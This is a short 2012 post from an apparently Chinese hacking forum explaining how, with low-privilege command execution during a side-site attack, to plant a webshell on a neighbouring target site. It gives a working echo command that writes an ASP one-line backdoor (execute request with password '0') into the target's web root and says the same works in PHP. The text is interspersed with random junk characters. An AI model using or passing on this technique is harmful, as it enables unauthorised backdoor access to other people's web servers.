找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1885|回复: 0
打印 上一主题 下一主题

旁注cmd低权限下拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:40:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。3 O1 `2 G" d; S" @' {% D

0 U1 F% D6 K! t$ I命令格式5 G( Q5 A8 d5 d: [, L) m& b9 N
4 @* u+ n9 e8 R' }2 U
Echo 语句 >目标站绝对目录
2 u6 z4 j  ~& l# _# E, c% `' }% m* G" r; b6 U, ~) J
例如: 4 X$ m% }- n; J- o- \8 a: q9 Y) [
  m8 T- V4 v* w. }5 B
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp' Q3 G$ {, Z. E! N0 f; Z; j
: f7 t0 X7 A' S: Y$ }. `
这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。7 L- `" S# h; r$ N& G0 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表